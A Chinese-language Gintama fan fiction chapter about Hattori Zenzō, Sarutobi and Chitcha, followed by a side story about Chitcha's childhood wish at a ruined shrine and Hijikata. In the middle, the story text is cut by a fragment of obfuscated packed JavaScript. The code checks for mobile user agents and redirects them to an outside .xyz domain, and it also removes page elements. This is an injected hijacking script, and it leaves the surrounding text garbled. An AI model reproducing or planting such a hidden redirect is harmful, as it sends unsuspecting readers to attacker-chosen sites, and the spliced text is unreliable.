有了服部全藏的亲身示范,坂田银时也不得不承认,他当初的忠告确实没错——女孩子之间的事,男人还是别掺和的好。 眼见目前的情况逐渐失控,银时的第六感告诉他也该是时候离开了,不然战火延伸到自己这里就糟糕了,于是他随便朝还在打闹着的两人喊了声「我还有事,先走了」,然后转身就想开溜。 却没想到猿飞比他更快一步,将他堵在了门口。 「银桑,想不到你会那么在意我的事,还特意来这里找我呢。你等我一下,我马上就好了,然后我们一起去约会吧~」她用着平时的娇甜语气说着,随即往身后飞出一把苦无,精准地插进服部刚拔出苦无的位置。 「不…我今天…」他正想要推却,门铃的响声不合时宜地响了起来,把他的话给打断。 猿飞微微皱眉,然后便拉开了庭院的门,挽着银时跳了出去。 银时只觉得眼前一花,猿飞就带着他跳上了屋顶。 「喂,你怎么把我带上来这里?我都说我要回去了。」 猿飞比了个「嘘」的手势,看着她那认真的表情,他只能乖乖闭上嘴。 「全藏,你在家吗?」 玄关传来的又是熟人的声音,银时看了眼猿飞,终于知道她为什么逃得那么快了。 虽然服部刚才说得笼统,但从猿飞如此迅速的反应来看,她和千茶以前的关系肯定很亲近,不然也不可能立刻就认出她的气息和脚步。 屋子的主人艰难地从地上爬起来,拔掉身上的苦无,忍着痛慢慢挪向玄关。 「你还好吗?」千茶看着步履蹒跚的服部,伸手去扶他。 「痔疮又恶化了吗?上次给你介绍的医生没效果吗?」 「不,和痔疮无关。」他任由她扶着自己走到客厅。当千茶看见里面一片狼藉和散落的苦无时,立刻就明白是猿飞下的狠手。 「抱歉呢,看来我来迟了一步。」她说,抱歉地笑了笑,然后若有所思地抬头望向天花板。 「就是这样。」服部瞥了她一眼,扶着身子坐到坐垫堆旁。他挑了个中空的圆形坐垫垫在屁股下,又递了个普通的方形坐垫给千茶。 「坐吧。抱歉,我现在不提方便给你泡茶。」 「啊,没事,我刚才经过星〇克买了饮料,也顺便帮全藏买了。」千茶说着,从手腕上的纸袋里拿出一杯白色和一杯红色的饮料。 她不假思索地把红色那杯放在全藏面前「这个是玫瑰口味的新品,听说评价很高呢。」 服部盯着那杯鲜红的饮料,一时恍惚,想问她是否看到自己这副惨状还要拿他寻开心,但她看神态如常,似乎也不像有恶意。 最后,他还是接了过来「谢谢。」 毕竟今天到访他家的人之中,就只有她一个买了伴手礼。 「好了,你今天过来找我到底是为了什么?」他喝了一口饮料,酸酸甜甜的口味确实不错。 「嘛…我是想来告诉你,我已经和菖蒲见过面了,你别说漏嘴。不过星〇克太多人,我排了快一小时才买到饮料,也就多花了点时间。」 因为买饮料而花了一小时。 要是她不买什么伴手礼,早一小时过来的话,他的人身安全和海苔便当就都能保住了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940212|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 嘴里的饮料顿时变得酸涩无比,可是她又是唯一一个给他带伴手礼的人,他实在骂不下去。 千茶啜饮着喜爱的香草星冰乐,目光一直凝视着天花板,无声地向服部传达自己的想法。 事到如今,服部的选择也所剩无几,只能试着按她的意思去做。 他重重地叹了一口气。 「所以,你和猿飞的事打算怎样处理?」 「没想好,你有什么好提议吗?」 「你直接把真相告诉她不就好了吗?她会理解的。」服部说,也学着她一起看向天花。 「理解我…然后呢?然后让她抛下一切来跟随我吗?」 服部没有回答,关于这个问题,他似乎也看不到答案。 以猿飞的性格,只要是她认定的人,即使会让自己伤痕累累,她也一定会跟随。比起独自安逸,她宁愿与重要的人一起面对困难。 但千茶不愿这样。 年少时总以为只要够努力、敢用手段,就能得到一切想要的东西。但她在这方面似乎缺了那份运气,每场战役都如同逆风而行,必须拿生命做赌注、加倍下注,才能博取一线生机。 没有人会愿意追随一个自顾不暇的主公,就算真有些不怕死的笨蛋,他们的下场也不会好得哪里去。 「我记忆中的菖蒲是个表面冷漠,内心却比谁都温柔的人。我有时候也会分不清她对我的好,究竟是出于职责,还是她真的喜欢我这个人。」千茶说着,停顿了一阵,像是在组织言语。 「不是,那都多久以前的事了,你现在才在意起这个吗?」 服部的吐槽让千茶也意识到说词有些不妥,她放下星冰乐,从袖中抽出小抄,仔细检视起来。 啊,糟糕,说早了。 服部看着她掏出小抄的那一刻,他抽了抽眉角,这家伙该不会是特地挑准时间来他家里念台词的吧? 千茶扯了扯服部的衣袖,用手势和眼神向他比划着:我说早了,怎么办? 服部把头凑过去,快速扫了一下她的小抄。 啊…真的,中间还有一段说漏了。 原来那句话应该是这样的: 刚刚,我亲眼看到了她在喜欢的人面前是多么鲜活,让我也稍微有点妒忌。(停顿,叹气)我记忆中的菖蒲是个表面冷漠,内心却比谁都温柔的人。我有时候也会分不清她对我的好,究竟是出于职责,还是她真的喜欢我这个人。(强颜欢笑)但现在我很确定,无论如何,她也更应该留在那些能让她开怀大笑的人身边,而不是我。 他才刚看完这段文字,千茶又拉了下他的衣袖,跟他比划:怎么办? 这些人真是烦死了。 本以为这次来的是个能让人省心的,结果又是个麻烦精。 不爽归不爽,但现况看来还是让女孩子们重修旧好比较先要。 服部默读着她的小抄,为她认真思考着切入点,忽然想到些什么。 「你是那边的人吗?」 「哪边?」 「就那边。」 「哦…」千茶点点头,大概猜到他指的是喜欢同性的那边。 「喜欢就是喜欢,年龄性别之类的我都不会在意。」她若有所思地说道「不过想睡和不想睡的,我还是会好好分清楚。」 看见千茶开始打量起自己,服部赶紧擡手打断「好了,我不想知道你把我分在哪一边。我们还是说回猿飞的事吧。」 「菖蒲的话,感觉会很适合放置pla…」 「够了!我说得不够清楚!我是在问你到底要不要和她和好?!」他提高音量喊道,一边指着小抄上的某行字,示意千茶从那里开始读起。 千茶被他吓了一跳,皱着眉揉了揉发疼的耳朵,但还是按照指示读着那行字。 「无论出于什么原因,我的一意孤行确实对她做成了伤害,我不会以『为她好』作为借口,因为我由始至终都没有能为任何人做决定的立场,所以我也不奢望她原谅我对她的伤害。」 「而且现在看着她变得那么鲜活,能随心所欲地做自己喜欢的事、和喜欢的人待在一起,我觉得这样就很好。」 虽然这些话是她刻意编排要说给屋顶上的人听,但服部能看得出,她的每一句都是发自真心的。那些小抄上反覆的删改,都是她经过深思熟虑后的结果。 方法是迂回了些,但情意却不假。 千茶不想她跟着自己往深渊里踩,但同样地,她自身也是个让人放心不下的。 若她所选择的这条路上,连一个可以依靠的自己人都没有,那么她必定走不远。 这也是当初,为什么德川家会建立御庭番,因为就算是将军那种上位者,也需要一些能绝对信任的忠士。 而猿飞大概也是考虑过这些,才希望能够陪在她身边的。 「这个世界上并没有能把所有人都剔得干净的办法。」他说着,松开了她的小抄,默默拉开了和她的距离。 「你总得留些人替你干脏活。如果连这种觉悟都没有的话,还是趁早放弃吧,千茶大人。」 他的话带着浓浓的呛意,但千茶听出来也不生气,只是笑笑地把小抄放到一边,伸手轻挠了一下他的下巴。 「喂、你在干什么?」 「哄猫。」她说得理直气壮。 千茶弯着眉眼,曲起手指在服部的下巴处轻轻地搔着,后者一脸不自在地偏过头去躲开。 「你不是总挂在嘴边说忍者都是猫吗?我听说猫都喜欢这样被摸呢。」 「好了。我现在可是在跟你说正事,给我认真一点。」 见他一脸戒备的姿态,她无趣地收回手,不满地斜睨他一眼「真冷淡呢,全藏。」 「不过,我就是喜欢猫咪这种爱装冷淡的性格。」她说着,很快就回复平常的嬉皮笑脸「既然我喜欢猫,又怎么会舍得让牠们为了我,把自己的皮毛弄脏呢?」 服部看着她把小抄从一旁拾起,轻轻压在坐垫的边角下,眼里闪过一丝精光。 「不过你的忧虑也是对的,所以我在泥泞里捡了些不怕脏又喜欢洗泥水浴的狗。」 「我最喜欢的小猫,只需要快快乐乐地过着她的生活就好。」 千茶说着,拿起手边的杯子,用吸管搅了搅里面纯白的冰沙。 「至于我嘛…堆沙堡的时候,不亲自下场把手弄脏,是感受不到真正的快乐的,你说是吗?」 30. 番外一、少年人善說謊話 初恋是什麽味道的? 是菓子店里的弹珠汽水、游乐园的棉花糖、同桌递来的柠檬糖,或是惩罚游戏裏画在脸上的墨水。 又或许是拉麵店里的七味唐辛子、旧友寄来的辣仙贝。 而对浅井千茶而言,初恋是一场阴冷潮湿的雨。 一场来势汹涌、令人措手不及,却又悄然消失的雨。 木头腐烂发霉,混合青苔的腥臭,在雨水冲刷下愈发浓郁。 冬日的雨夜寒冷刺骨,寒风夹杂雨水打在身上,犹如无数细针般密密刺入。随着时间推移,皮肉逐渐麻木,这份痛觉反而为人带来难以言喻的安心感。 因为唯就只有活着的人,才能感受到这一份痛。 世人们总是在赞颂,爱有多美好。 然而真正经历过爱的人都明白,爱是一件极为痛苦的事,被爱亦是如此。 春出生那年,她只有七岁。 母亲撕心裂肺的哭喊,她至今仍然历历在目。 父母终其一生只有彼此,这本该是一段佳话。 前提是,若他们并非出身于世家大族。 为了证明对爱情的忠贞,父亲拒绝纳侧室或妾室,因此膝下的一女四子皆是一母所生。 若频繁生育便是丈夫赐予的爱,那麽她大概并不需要爱。 大哥过世后,不少年轻武士开始打探起她的婚事。 浅井家的女眷因病弱甚少外出。因此,那些人并非被她的容貌或内涵所吸引,而是觊觎着浅井家长女的身份。下任家主,早就定为她的二哥,可他身子的孱弱亦是众所週知,他若哪天遇上不测,作为浅井家的赘婿,许能分一杯羹。 儘管是瘦死的骆驼,都总比马大。 父母曾商议过要为她选一个好婿家,待她年纪大些才嫁过去也无妨。 儘管心里亦明白父母为她铺排后路的苦心,她始终未曾点头。 要是面前只剩下一条死路,她宁愿以浅井家女儿的身份死去,也不愿冠上他人之姓。 可惜欣赏她这份风骨的人,大概只有外祖父一人。 在浅井千茶十三岁那年夏天,分家那边的挑衅愈发频繁。浅井夫妇找了个藉口,将尚未遭受残害的两个孩子送到了娘家。 那是个大雨不断的夏天,也是她童年的最后一个夏天。 自从她把一群来自武洲的浪人捡回家后,他们便在她家住了下来。 外祖似乎对他们很感兴趣,甚至多次在他们计划启程的时候出言挽留。 她不确定外祖父是只是想给她和春找些玩伴,还是另有打算。不过,好不容易从那个吃人的地方逃出来,她也不愿再浪费精力去猜测太多。 她偶尔也会收到家裏传来的消息,但大多是报喜不报忧。 她讨厌被蒙在鼓裏的感觉,也从不否认自己强烈的掌控欲。 从小受到的教育告诉她,在这个世界上,只要拥有金钱与手段,许多问题都能迎刃而解。 因此,那些被刻意压下的消息,始终会传入她的耳裏。 例如,母亲最近胃口变好了,父亲隔三差五便会抽空陪着她到庭院散步。又例如,二哥最近连床都下不了,医生说他或许熬不过这个冬天。 每当提起二哥,无论是家人还是外人,脸上总会流露出哀伤而不忍的神情。 明明,他们都巴不得他赶快去死。 除夕这夜的雨下得很大,年轻人们坐在宽敞的宴会厅裏,在大屏幕看着N〇K的红白歌合战,有一搭没一搭地聊天,侯着新一年的钟声。 「千,你也和我们一起去吗?」 千茶眨眨眼睛,试图驱散脑里的胡思乱想。 「抱歉,我刚才在想事情,没听见你们在聊什麽?」 近藤摆了摆手说没关係,随后复述了一遍。 他们打算明早到附近的寺院进行新春参拜,顺便问她要不要一起去。 平静的生活让她几乎忘了时间的流逝。 虽然众人对即将到来的新年充满期待,她却显得兴致缺缺。 最近,她总觉得做什麽都提不起劲,或许这也和连日不停的阴雨有关。 她讨厌雨天。 讨厌那让人浑身黏腻的潮湿,更讨厌那遮蔽阳光的灰暗。 若世上真有神明,若祂真如人们所赞颂的慈悲,那祂必不愿见信众们冒着大雨前来参拜。 前提是,世上真有神明的话。 「我就不去了,我不相信有神明。」她说着,手指一下轻一下重地敲着桌面,视线瞥向窗外连绵不断的雨丝。 冷淡的回应让他们都有些意外。她素来爱凑热闹,即便对不感兴趣的事,也从不会说得这般扫兴。 土方顺着她的视线望向窗外,雨势比傍晚更大了些,看来在清晨前恐怕难以停歇。 要是让他顶着大雨前去参拜,他也不太情愿。 毕竟,他也不太相信神明那套。 「别这麽说嘛,一起去逛逛不是很有意思吗?你最近都很少出门,偶尔散散步也不错吧?」近藤没有放弃,继续劝道。 「那麽冷的天我早上起不来。」千茶随口应着。 她懒洋洋地趴到桌炉上,眉眼低垂地盯着桌上的仙贝碎碎。 「近藤先生有什麽想让神明帮忙的吗?」她问。 近藤认真地思量起来,正想开口回答,后面就有人喊了一句「愿望要是说了出来就不会灵验了!」 说到嘴边的话马上嚥回肚子裏。 冲田对他的欲言又止产生了浓厚兴趣,开始旁敲侧击地打听近藤的愿望。近藤紧紧摀着嘴,用行动表明自己绝不透露。 男孩子们很快就闹成一团,七嘴八舌地猜测起来。当说得太过分时,近藤也会忍不住出声反驳几句。 千茶支着手臂撑着脑袋,百无聊赖地望着那群打闹的男孩子,心里反复琢磨着刚才那句话。 愿望说出口就不会灵验… 那麽,若是反过来许的愿,是不是就会灵验了? 称得上无稽的念头在她脑海中闪现,却很快又被她压了下来。 窗外的雨势忽大忽小。 一阵急速的脚步声传来,敲响厅的大门。 「千大人。」 侍女急匆匆地走到千茶旁边,也顾不上旁边的客人,跪坐在她的身旁,在她耳边低声传话。 「老爷刚收到了那边送来的急信。」 千茶轻叹一声,拿起茶杯啜了一口。 「怎麽了?」 「时政少爷这两日病情突然恶化了…」侍女迟疑片刻,看着千茶的神色与平日无疑,沉着气继续补充「老爷让我来问您,要不要赶回去看看。」 离她最近的土方闻声看了过来。 他依稀记得,她的妹妹说过,他们之上还有两个哥哥。 大哥早在多年前战死,而侍女口中那个时政,想必就是那个体弱多病的二哥。 气氛忽然间沉重了起来,近藤和冲田对视了一眼,默默停止了打闹,坐回桌炉边,一人一个剥起桌面上的橘子。 他们虽然都试图表现得若无其事,但目光还是不由自主地聚焦在千茶身上。 她似乎全然不觉,或许是不在意。她静静凝视着茶水里竖起的茶叶梗,良久方才开口。 「医生那边怎说?」 「医生说要是明天状况没有好转,就要准备最坏的打算…」侍女转递着。 千茶轻轻点头,面容平静如常,让他们一度怀疑自己是不是误会了,那个时政其实并非她的同胞兄弟。 「即是说,我为他准备的棺木也终于也能派上用场了吗?」 语气虽然轻描淡写,但在旁人耳里却显得异常刺耳,宛如在幸灾乐祸一般。 「千大人慎言。」 她瞥了一眼那位几乎要把头埋进地里的侍女,思忖片刻后决定开个玩笑来缓和气氛。 「要是再不用上的话,兄长大人的身高就快追不上了。不过,那口棺材放我进去应该还有些空位,留来自用也不算浪费。」 全场一片死静。 看来乡下来的人都不太懂得欣赏她的地狱笑话。 「开玩笑而已,别那麽认真嘛。」千茶略带抱怨地说,一口气喝光了杯中的茶,然后将茶杯交给了侍女「这个杯子的底部有点裂开了,丢掉吧。」 侍女点头接过,但丝毫没有离开意思。 「千大人。」她又唤了一声。 「你回去告诉外祖父,我今天身体不太舒服,已经睡下了,若不是什麽重要的是,等明早再商量吧。」 侍女欲言又止地看着千茶,见对方没有半分改变主意的意思,最终微微低头行礼后退了出去。 室内再次陷入一片沉默。 「抱歉,让你们看到这麽扫兴的一幕。」千茶说,语气一如往常,彷彿兄长将死的消息对她毫无影响。 「那个…不回去也没关係吗?」 开口的人是近藤。 千茶没去看他,只是在篮子里拿起一个橘子剥起来。 「千大人虽有一身才艺,但他可没学过医术,救急扶危这种事,还是让专业的来吧。」 「我不是这个意思…要是他真的…你也不去见他最后一面吗?」 「不了,要是我在兄长面前挤不出半滴眼泪,那些狐狸又要指着我的鼻子数落了。况且,医生也不是第一次说他熬不过去,这次肯定也会没事的。」 她的语气淡淡的,手指却在无意识地使劲,把原本轻轻揉一揉就能剥开的橘子皮撕成细小的碎块。 儘管她表面伪装得再好,内心恐怕早已如那些橘子皮般支离破碎。 近藤还想劝说些什麽,却被冲田拉着手臂止住了。 千茶把橘肉分成小瓣,送进嘴裏。 又酸又涩,味道并不好。 「好难吃。给你,我去洗手。」 她皱着眉,把手中的橘肉塞进土方手里,随即像赶着什麽似地离开了房间。 「你这傢伙是什麽意思,难吃还塞给我?!」土方瞪着那个走远的背影,待看不见她的踪影才低下头去看手中的橘子,就连果肉也是破破烂烂的。 他深深叹了口气,想着不该浪费食物,还是将橘子放进嘴里。 他这才知道,她刚才说的都是实话。 「确实很难吃。」 酸涩的滋味在口中蔓延,使他迟迟才能嚥下。 过了一会儿,千茶回来了,手上的果汁已经清洁乾淨。她重新坐回原位,若无其事地喝着侍女刚换上的热茶,彷彿刚才什麽都没发生。 随着一百零八下的钟声完整落下,除夕夜的倒数也宣告告终。为着明天的早起,他们很早便灭了灯,千茶也回到了自己的房间休息去。 夜里,土方翻来复去地想起千那句话,久久未能入睡。 『那口棺材放我进去应该还有些空位,留来自用也不算浪费。』 她说是玩笑,可他听着,总觉得哪裏都不对劲。 半夜,好不容易睡了过去的土方,在梦中被雷声惊醒,爲了不吵醒旁边还在睡的伙伴,他蹑手蹑脚地起来,拿着香菸和打火机,准备到外面抽两口换个心情。 廊下潮湿的空气让他打了个冷颤,他又跑回屋内,拿了件羽织披在身上。整个庭院寂静无声,只有雨滴打在屋簷上的声音格外清晰。 雨幕间忽然闪过一抹灯火,随后是一把纯白的油纸伞。他心里顿时一惊,正当他以为自己误闯了什麽百鬼夜行之际,定睛一看,油纸伞下正藏着一个熟悉的身影。 对方似是察觉到他的视线,微微停顿了一下。他下意识地把脚步挪到柱子后,试图将自己躲起来。 那人朝他的方向深深望了一眼,也许已经发现了藏在这里的土方,但她什麽也没说,只是转身离去。 那个人,正是刚才让他难以入睡的元凶。 她一路走到后门的方向,拿出不知道从那裏搞来的钥匙,打开了那道本应锁死的门。 他纠结了一下,最终还是跟了上去。 怎能让小孩子半夜独自出门。 土方拢了拢羽织,顺手拾起僕人放在廊下的雨伞,踏入雨中。 她走的路,是往后山的方向。 即便已经走了一半路程,她依然觉得自己的行为愚蠢至极。 但半途而废从来都不符合她的作风。 既然踏出第一步,就不能回头,即使明知前方是死路,即使身后还有个笨蛋一直跟着。 红白看到一半时,她因手上沾了果汁而离开宴会厅洗手。就在那时,她无意间听到了侍女姐姐们的闲谈。当她们讨论着何时去新春参拜时,有人提起了一个只有当地人才知晓的传说。 传说,这片土地的后山藏着一座破落的神社,裏面供奉着一位山神。 相传这位神明非常灵验,但祂会向祈愿者收取等价的代价。祂性情古怪,会惩罚自私自利之人,因此许愿时必须格外谨慎。 久而久之,人们渐渐不敢在祂面前祈愿,神社也逐渐衰落荒废。 夜裏,她辗转难眠,脑海始终挥不去那个愚蠢的念头。 山路在雨中显得泥泞不堪,石阶佈满了青苔,在雨中湿滑得难以踏稳。 雨水毫无章法的打在他们身上,寒意渐渐渗透进肌肤,毫无遮掩的脸颊被猛风吹得生痛,鼻子彷彿要失去知觉,她却未曾停下脚步。 她大概是默许了他的跟随,虽然始终没回头看他一眼,但也并未赶他离开。 几个月的相处,千茶早就和年纪相近的冲田打成了一片,近藤更不用说了,两人都是自来熟的类型,相处下来也很是合拍。 倒是土方,他和千茶之间总是有种说不明的隔膜。 她偶尔也会配合着冲田捉弄他,但当冲田不在时,她却不会和他有太多交集,宁愿和寡言的齐藤终待着,也要避开和他的独处。 土方并不在意她忽冷忽热的态度,毕竟他自认是个直来直往的人,本就不擅长应对这种心思难以捉摸的笑面虎。 明明还是个小孩,言谈举止却毫无孩童该有的天真模样,让他不由得感到毛骨悚然。 他毫无头绪地尾随着千茶,直至眼前出现了一个破落的鸟居。 这座神社比她想像中还要残破,鸟居上的红漆早已剥落,露出斑驳的木头,潮溼腐烂的气味扑面而来,浓烈得让人想吐。 她嫺熟地走着参拜的流程,每一步都标准得可以拍宣传影片。 也许,她并非如她所说不信神佛。 她走到拜殿,合上雨伞搁在一旁,然后把灯笼放置在雨水打不到的角落。 雨水从破损的屋顶洒落在身上,但她毫不在意,只是从怀中取出一个黑色箱子,打开后将里面的首饰珠宝尽数倒进赛钱箱,随后摇响铃铛。铃铛内部早已鏽蚀,发出沙哑破碎的声响,为本就阴森的神社更添了几分诡异。 不得不承认,土方此刻确实有些后悔跟了过来,总觉得下一秒她就会抽出一把刀,把他推到神明面前当作祭品。 庆幸的是,千茶始终没把他的存在放在眼里,又或许在她心中,那些珠宝比他更有价值,因此并没有对他出手。 摇铃、拍手、鞠躬,一连串的仪式下来,她似乎认为还不够庄重,最后还是在殿前跪了下来。 溼滑冰冷的石板透过衣料渗入皮肤,但她却丝毫不在意。 「如果,神明大人你仍然在这里听着信众的请愿,希望你也能听一下我的愿望。」 她的声音不大,在雨声的掩盖下,他也只是依稀能听见半分。 于是他又往她的方向走近了几步。 「只要我能成爲下任的家主,我愿意以我二哥的生命作为愿望的代价。」 千茶压着胃裏的翻腾,把狰狞的愿望清晰地诵出。 用兄长的性命作为交换,以换取自己的前途。 吐出愿词时,少年的唇间微微震抖,却不带半分犹豫,只剩下一份近乎虔诚的绝望。 愿望要是说了出来,那就不会灵验了。 这是刚才他们打闹时,有人无意中提出的。 看来是被她听了进去。 关于千的两个兄长的事,他几乎都是从春那里听来,因为她本人似乎不愿提起。土方一直以为这是世家兄弟间的相互忌惮,却没想到真相恰恰相反。 要不然,也不会让一个不相信神明的人,顶着大雨,以自己的人生发愿。 说实话,他也从未相信过神明。 那些高高在上的存在,怎会在意他们这些蝼蚁。 但现在看来,即便是高高在上的千大人,和他这个蝼蚁倒是怀着相似的心愿。 无非是期盼着珍爱的家人能在乱世中平安无恙,远离政权斗争与疾病的缠扰。 若愿望未能实现,她反而如愿以偿,只是代价或许会落在自己身上;若愿望成真,她便要如她所言,背负着哥哥的性命,朝着选定的道路,一路走到底。 土方不自觉地揉了揉眉心,感觉眼睛莫名发酸。 雨一直在下,没有丝毫静止的迹象。 她似乎跪了很久,却不清楚过了多长的时间。只知道当她回过神时,身旁多了个人。 土方十四郎跪在她的身旁,没有说话,也没有试图打扰她的祈愿,只是默默地陪在她身边,任由雨水打湿衣衫。 还真是个白痴。 明明和她一样,都长着一张不信神佛的脸。 明明她平日没给过他几分好脸色。 明明… 他亲耳听见了她那个毫无人性的愿望。 但此刻,他仍然选择了无言地陪在她身旁。 千茶始终低着头,不敢看他一眼。 土方十四郎很可怕。 从看到他的第一眼,她脑裏就浮现了这个想法。 如果说她是温室里经过多次改良,才能孕育出的现代月季;那麽他就像野外肆意生长的野蔷薇,浑身长满了尖锐的刺,作为侵入物种也能轻易就将别的物种绞杀。 他不会为了取悦他人而改变自己,也不会因为刺伤了谁而感到歉意。 然而每当冲田和近藤不顾那些尖刺朝他奔去时,那道荆棘形成的屏障便会为他们开出一条柔软的花路,任由他们随意靠近。 说实话,她很羡慕。 羡慕他的真实自我,也羡慕他身边那些不惧他尖刺的挚友。 这份羡慕渐渐化为一种无法言说的情感,在她心底悄然生长。 世人都说,初恋源于憧憬的投射,这点她无法反驳。 尤其是当你憧憬的对象在你面前卸下防备,即使对事情的来龙去脉一无所知,却仍愿意无条件地伫立在你身旁,支持你的决定。 更何况,这还是个愚不可及的决定。 就算是再克制的人,也无法不为之心动,更莫说一个只有十来岁的小孩。。 不论是在不经意间流露的笨拙温暖,抑或那难以压制的内心悸动,都让她无所适从。 既渴望靠近,又本能地想逃离。 或许是源于内心深处对爱的恐惧,又或许是对现实有着清醒的认知。 月季是为了装饰园林而培育的品种,取悦人类是她唯一的生存意义,即使现在她觉得眼前的人无比吸引,他们终也无法理解彼此。 因此,远远观赏便已足够,只要不走近,那就不会被对方刺伤。 雨水顺着她的脸颊滑落,直到很多年后,她仍然分不清,那一夜的雨水,有多少是泪。 「算了,我一定是脑抽了才会像个蠢货一样,相信什麽上位者创造出来的虚假神明。」 过了许久,千茶终于摇摇晃晃地站了起来,她的声音带着土方从未听过的沙哑与哽咽。 「回去吧。」她说,嘴角扬起一抹很浅的笑意。 不像平日那种或嘲讽或戏谑的笑容,而是卸下所有伪装后,带着疲惫却又经已释然的微笑。 看着故作坚强的少年,土方总觉得心裏某处隐隐作痛。 他点点头,虽然犹豫了一瞬,但最终还是什麽都没说。 两人沿着来时的山路返回,雨势弱了一些,但浑身湿透后,身上的寒意却更加深入骨髓。 她的脚步一个踉跄,不稳地朝前方倒去。眼前的景物开始摇晃,思绪也逐渐模糊。 土方快步上前,轻轻托起她的手臂。雨水冰凉,她的体温却高得发烫。 她最后的记忆,是土方毛毛躁躁地将她背了起来,提着摇摇欲坠的灯火,穿过山路,送她回到那个灯火昌明的府邸。 她醒来时,是元旦日的中午。眼皮很重,呼吸的时候,喉咙和气管也传来阵阵的刺痛。 昏迷前的记忆开始浮现,她想起了那场雨、那座神社,还有那个人宽阔的背。 高烧让她时而清醒时而迷糊,医生来来回回地走了几趟,最终也只说是她受了凉,引发了肺炎。 土方守在她的床边,听着窗外持续拍打的雨声,不禁有些惴惴不安。 纵使他不相信鬼神之说,但他总觉得这不是普通的感冒又或是肺炎。 更像是报应。 昨夜,他背着发高烧的千茶回到津田家。老爷子听见动静,在侍从的搀扶下走了出来。 土方本以为会被噼头骂一顿,甚至做好了掉脑袋的准备,但在听过他的解释后,津田只是苦笑着,拍了拍他的肩膀,甚至安慰起他来。 然后到了第二天的中午,他过来告诉土方,千茶的二哥脱离了危险期。 听到这个消息,土方心头一紧,他看向老爷子,发现对方眼中也闪过一丝複杂的情绪。 这巧合未免太过蹊跷。 连绵不断的大雨,使近藤一行人打消了参拜的念头。晨练结束后,他们守在千茶的屋子附近,既担心她的安危,又不愿惊扰她的休息。 一月三日,时政病情好转的消息,不知怎麽传到了千茶的耳里,她终于松了口气,却开始连药都不愿喝了。 也许在病得迷迷糊糊之际,她认为这就是神明大人提出的等价交换,铁了心要放弃治疗,彷彿这样就能让兄长完全痊癒。 「真是个无药可救的白痴。」土方望着少年苍白的面容,小声嘀咕着。 老爷子对外孙的状况束手无策,只好让他帮忙把春带了过来,千茶和春的关係打小就好,而且她向来疼锡这个「妹妹」,也许会看在他的份上改变主意也不定。 这无疑是个明智的选择,因为春的眼泪向来是她最大的软肋。 春一进门便抽抽噎噎地哭了起来,他紧紧抱着姐姐的腰,语无伦次地哀求她一定要好起来。 千茶被他吵醒,强撑着身体坐了起来。每个动作都像要耗尽她的力气,但她还是轻轻将春搂进怀里。 「抱歉,吓到你了。」她轻扫着他的背,像平日哄他入睡般安抚着,却始终无法让他平静下来。 「我要一直和你在一起,永远都不要分开。」 千茶忍不住被他给逗笑了,没想到第一个向她许下山盟海誓的男人,竟是自己的弟弟。 不过这也不错。 「小春的爱还真沉重呢。」 此情此景总让她觉得此曾相识,只不过当时躺在床上的人,是她的二哥时政,而不是她。 时政从小体弱多病,千茶深怕哥哥一个人待在房间会寂寞,总是趁大人不注意时熘到他床边陪着他。她会给他讲各种故事,陪他画画、玩游戏,直到他的脸上重现笑容。 她想必也曾向哥哥许下,要永远在一起的承诺。 「对不起,小春。」 儘管这些年来她已做足了心理准备,但她依然无法承受亲眼看着二哥离开的痛苦。那种心脏被紧紧揪住的剧痛,她再也不愿经历第二次。 但此刻看着春,她彷彿看见了当年的自己。这种刻骨铭心的痛楚,她亦不希望让春知晓。 她的小春,可是她拼了命才从自己手上保护下来的。 她可捨不得让他受半点伤。 「哭够了,就替我去把药拿来吧。」她说着,轻轻亲了一下他的额头。 春的眼睛顿时亮了起来,用袖子胡乱地擦着脸,跌跌撞撞地跑了出去。 春离开后,千茶仰着头看向把他带来的土方。 「讷,土方先生,你有兄弟姊妹吗?」 见她抬头也显吃力,土方走到她身旁坐下,缓缓开口「我有一个哥哥。」 「那麽,你会想再添一个妹妹,或者…弟弟吗?」 他听得一头雾水,还没来得及追问,就见她嘴唇又动了动。 「要是这次我挺不过去,你们能把春带走吗?」 土方听到这句话,沉默了好一会儿,才沉声开口。 「别说这种不吉利的话。医生都说了你只是肺炎而已,好好吃药自然就会好。再说,你家……」 「我家会吃小孩的。小春要是一个人回到那种地方,马上就会被吃掉了。」她说着,眼皮不自觉地垂下,她抬手揉了揉眼睛,强撑着继续说「我的哥哥们,就是被吃掉的。」 什麽吃小孩,谁被谁吃掉…听起来像是胡言乱语。 自从春离开后,她那双眸子就像蒙上了一层雾。他伸手摸了摸她的额头,果然又开始发烧了,难怪会说起这些胡话。 明明自己还只是个孩子,在妹妹面前却要死撑着摆个大人款。 现在是这样,他们初见的时候也是这样。 「我不管你家有多複杂,总之小孩子就是小孩子,每天只管吃玩睡就可以了,毛都没长齐的小鬼学什麽大人说话。」土方稍稍提高了音量,语气中带着几分严厉,说完便站了起来。 「看着就让人心烦,我回去了,你爱怎样就怎样吧。我救了你一次,不会再救第二次。要去死也好,怎麽都好,我是不会给你带妹妹的。别想着把自己任性生病的烂摊子甩到我身上。」 说完,他便头也不回地转身离开了房间。 在门外,他看见守在那裏的冲田,以及欲言又止的近藤。 他们想必都听见了刚才的对话。土方没和他们打招呼,只是低着头迳直略过。 望着他的背影渐渐消失在视线中,她疲惫地阖上双眼,身子重重地倒回床上。 他循着记忆再次来到那座破落的神社。他不似那位大少爷,拥有丰厚的金银财帛可供奉。他们的钱都用来凑路费了,身上也没什麽积蓄,只能将仅剩的零钱全都投进赛钱箱。 一共是115圆。 いいご縁,还真讽刺。 他和这个麻烦傢伙之间,半点都称不上是好的缘份。 头顶的乌云仍未散去,雨持续下着,甚至比起那天更加猛烈。 向来不信神明的人,此刻却向着神殿深深低下了头,在心裏默默许愿。 他跪在和那一晚相同的地方,任凭冰冷的雨水打在身上,直到全身逐渐麻木。 雨势愈发猛烈,彷彿神明在催赶他离开。然而他依旧纹丝不动,就连身后传来的脚步声也被这滂沱大雨所淹没。 「喂喂,十四,一个人偷跑可不行哦,我们不是说好了,要一起去新春参拜吗。」 